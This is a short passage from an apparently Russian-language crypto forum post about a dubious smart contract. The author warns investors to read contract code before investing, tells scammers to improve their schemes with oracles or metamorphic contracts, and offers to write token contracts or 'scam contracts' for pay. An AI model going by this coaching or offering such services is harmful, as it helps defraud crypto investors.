......
Хотя есть в этом и небольшой плюс - щя немного потуплю, да переделаю его под нормального бота.Вруг вправду будет $1к на пассиве.
Будте аккуратны - если вы ищите куда инвестировать $$$ - читайте код контракта
Если вы скамеры - придумайте уже что - нибудь получше - используйте оракулы например. Или метаморфизм хоть.
А то маленький какой то профит судя по etherscan.io
А если вам всё-таки нужен нормальный ERC 20/721 или просто скам контракт - готовте $ и пишите ПМ. А лучше всего учите солидити и будет вам счастье, много много счастье.